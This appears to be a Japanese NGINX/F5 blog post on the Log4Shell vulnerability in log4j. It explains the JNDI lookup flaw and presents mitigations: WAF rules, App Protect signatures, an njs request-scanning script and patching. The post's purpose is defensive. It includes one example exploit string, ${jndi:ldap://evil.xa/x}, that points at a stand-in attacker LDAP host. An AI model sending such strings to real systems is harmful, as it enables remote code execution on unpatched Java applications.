
2021年12月10日(金)は、世界中の多くのIT関係者の記憶に残る日となりました。この日、Javaアプリケーション向けの非常に広く利用されているロギングライブラリで、極めて重大なゼロデイ脆弱性が発見されました。そのライブラリがlog4jです。この脆弱性を悪用するエクスプロイトは、すぐに「Log4Shell」と名付けられ、規模を問わず多くの企業が緩和策の実施を急ぎました。その後はパッチ適用が続き、執筆時点でもまだ終わっていません。
NGINXとF5はこの脅威を分析しました。本記事では、アプリケーションを保護するためのさまざまな緩和策をご紹介します。
Log4Shellとは
log4jライブラリのVersion 2.15以前には、CVE-2021-44228に記載されているリモートコード実行(RCE)の脆弱性があります。(log4jのVersion 2.16では、この脆弱性が修正されています。)Log4Shellは、この脆弱性を悪用するエクスプロイトの名称です。では、これはどのような脆弱性で、なぜそれほど重大なのでしょうか。CVEに記載されているとおり、Apache log4j Javaライブラリは入力を適切に検証しません。
log4jライブラリとJavaランタイムのJava Naming and Directory Interface(JNDI)機能を使用すると、リモートルックアップを実行し、LDAPから取得したユーザー名やDNSから取得したIPアドレスなど、外部ソースのデータをログエントリに含めることができます。しかし、リモート攻撃者がJNDIを乗っ取り、自ら作成したJavaコードを実行するおそれがあります。次の図は、この攻撃の仕組みを示しています。

脆弱な標的を悪用するには、攻撃者はアプリケーションコードを誘導し、次のような文字列を含むログエントリを書き込ませる必要があります。${jndi:ldap://evil.xa/x}ここで重要なのは、ログメッセージに記録されるよう、この文字列をどこに配置するかという点です。多くのアプリケーションにとってログ記録は不可欠であり、受信した各リクエストについて、User-AgentやX-Forwarded-ForなどのHTTPヘッダー、URI、リクエスト本文を含むさまざまな情報がログに記録されます。攻撃経路は数多くあり、この文字列がlog4jによってログに記録される限り、アプリケーションは悪用される可能性があります。
NGINXはこの脆弱性の影響を受けますか?
いいえ。NGINX自体はCで記述されており、JavaやJavaベースのライブラリを使用していないため、このエクスプロイトの影響を受けません。すべてのF5およびNGINX製品に関するCVE-2021-44228への公式対応については、AskF5 Knowledge Baseの記事「K19026212」をご覧ください。
NGINXはこのエクスプロイトの緩和にどのように役立ちますか?
前述のとおり、攻撃者はHTTPリクエスト内のいずれかの箇所で、標的のアプリケーションにエクスプロイト文字列を送信する必要があります。NGINXには、受信リクエストをスキャンして侵害の痕跡(IOC)を検出し、ブロックするためのツールが複数用意されています。
悪意のあるリクエストをブロックする最も効率的な方法は、Webアプリケーションファイアウォール(WAF)を使用することです。WAFは、受信するすべてのリクエストのデータを事前コンパイル済みのルールセットと照合し、CVE-2021-44228の兆候がないかスキャンします。ただし、ゼロデイエクスプロイトの発生後にWAFルールを更新する作業は、軍拡競争のようなものです。特定のエクスプロイトに対応するWAFルールが提供されると、攻撃者はすぐにWAFを回避できる手法やパターンを探し始めます。WAFルールは必ず最新の状態に保ってください。
NGINX ModSecurity WAF
ModSecurityはオープンソースのWAFであり、NGINXから商用製品としても提供されています。これは、NGINX Plus向けのNGINX ModSecurity WAFモジュールです。OWASP ModSecurity Core Rule Set(CRS)には、Log4Shellを緩和できる既存のルール(932130)が含まれています。このソリューションの詳細や、より高度な保護については、CRSブログをご覧ください。
[編集者注 – NGINX ModSecurity WAFは2022年4月1日付で正式に販売終了となり、2024年3月31日付でサポート終了となります。詳細については、F5のブログ記事「F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla>」をご覧ください。]
NGINX App Protect WAF
NGINX App Protect WAFは、最新のアプリセキュリティソリューションです。脅威と既知のWAF回避手法に関する継続的な調査に基づき、Log4Shell攻撃を効果的に検知するための新しいルールをServer Side Code Injection Signature Setに追加しました。詳細については、AskF5 Knowledge Baseをご覧ください。
NGINX JavaScript Module
NGINXとNGINX Plusは、多くのJavaベースのアプリケーションの前段にリバースプロキシとして広く導入されています。WAFを利用できないユーザーやお客さま向けに、NGINX JavaScript Module(njs)を使用するスクリプトを作成しました。このスクリプトは、既知のIOC文字列と正規表現を使用して入力データを照合し、受信リクエストのHTTPヘッダー、URI、リクエスト本文をスキャンして、悪意のあるリクエストをブロックします。
njsスクリプトはGitHubで入手できます。njsモジュールのインストール手順については、NGINX Plus Admin Guideを参照してください。
まとめ
Log4Shellに対する最も効果的な解決策は、アプリケーションコードにlog4j version 2.16以降のパッチを適用して、JDNIを無効にすることです。すぐにパッチを適用できない場合は、適用できるようになるまでWAFで脅威を効果的に緩和できます。WAFをまだ導入していない場合は、F5のnjsスクリプトを使用して、この脅威に特化した保護を実装できます。詳細については以下のリソースを参照し、アプリケーションに最適な保護を選択してください。
リソース
- CVE-2021-44228 – 公式CVE
- 人気のJavaライブラリLog4jを標的とするゼロデイエクスプロイト – 脆弱性について理解するうえで役立つ概要
- K19026212:Apache Log4j2のリモートコード実行の脆弱性CVE-2021-44228 – F5の公式対応
- CRSとLog4j / Log4Shell / CVE-2021-44228 – ModSecurity Core Rule Setブログ
- CVE-2021-44228に対するNGINX njsリクエスト検査 – NGINX JavaScriptによる緩和策
著者について

関連するブログ記事
チュートリアル:NGINXを使用してアプリケーション向けにOpenTelemetryを構成する
OpenTelemetryを使用してNGINXサーバーの状態と健全性をより明確に把握することで、問題のトラブルシューティングを行い、Webアプリケーションのパフォーマンスを向上できます。
AkitaのNGINX Plus認定モジュールでAPIエンドポイントの問題を特定・修正
Akita SoftwareのAPIオブザーバビリティ向け新しいNGINX Plus Certified Moduleを活用して、APIエンドポイントの問題をより迅速に特定し、修正できます。
JavaプロジェクトをスキャフォールディングしてKubernetesネイティブアプリを構築する方法
Red HatのシニアプリンシパルデベロッパーアドボケイトであるDaniel Oh氏が、Javaプロジェクトをゼロから構築するためのひな形を作成し、Kubernetesネイティブアプリケーションとしてビルドする方法を解説します。
F5 NGINXaaS for Azureのご紹介:Microsoft Azureでネイティブに利用できるSaaS型ロードバランシング
NGINXaaS for Azureは、NGINX PlusをAzureネイティブのSaaSとして利用できるサービスです。NGINXの設定を容易にリフト&シフトできるため、クラウド導入とモダンアプリの展開を加速できます。

SELinuxでNGINXおよびNGINX Plusを使用する
Red Hat Enterprise Linux(RHEL)および関連ディストリビューションでSecurity-Enhanced Linux(SELinux)を有効にすると、デフォルト設定によりNGINXとNGINX Plusの一部の操作が制限されます。この記事では、すべての機能を利用できるようにSELinuxの設定を変更する方法について説明します。
NGINX PlusによるAWS Auto Scalingグループの負荷分散
新しいnginx-asg-sync統合ソフトウェアにより、NGINX PlusはAWS Auto Scalingグループの負荷を直接分散できるため、クラウドでの負荷分散がさらに柔軟になります